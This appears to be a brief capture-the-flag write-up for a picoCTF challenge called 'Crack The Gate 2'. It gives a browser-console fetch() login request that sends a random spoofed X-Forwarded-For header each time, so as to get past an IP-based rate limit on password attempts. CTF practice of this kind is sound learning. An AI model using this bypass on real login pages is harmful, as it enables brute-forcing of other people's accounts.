

## Crack The Gate 2

- Here actually, we defeat the bypass rate limit by sending POST requests in the console that each time has a different IP:

- Here's the request:

```
"fetch("/login", {  
  method: "POST",  
  headers: {  
    "Content-Type": "application/json",  
    "X-Forwarded-For":  
      `${Math.floor(Math.random()*255)}.${Math.floor(Math.random()*255)}.${Math.floor  
        (Math.random()*255)}.${Math.floor(Math.random()*255)}  
    },  
    body: JSON.stringify({  
      email: "ctf-player@picoctf.org",  
      password: "wrongpass"  
    })  
  })  
  .then(r => r.text())  
  .then(console.log)
```

- Focus on the header : "X-Forwarded-For"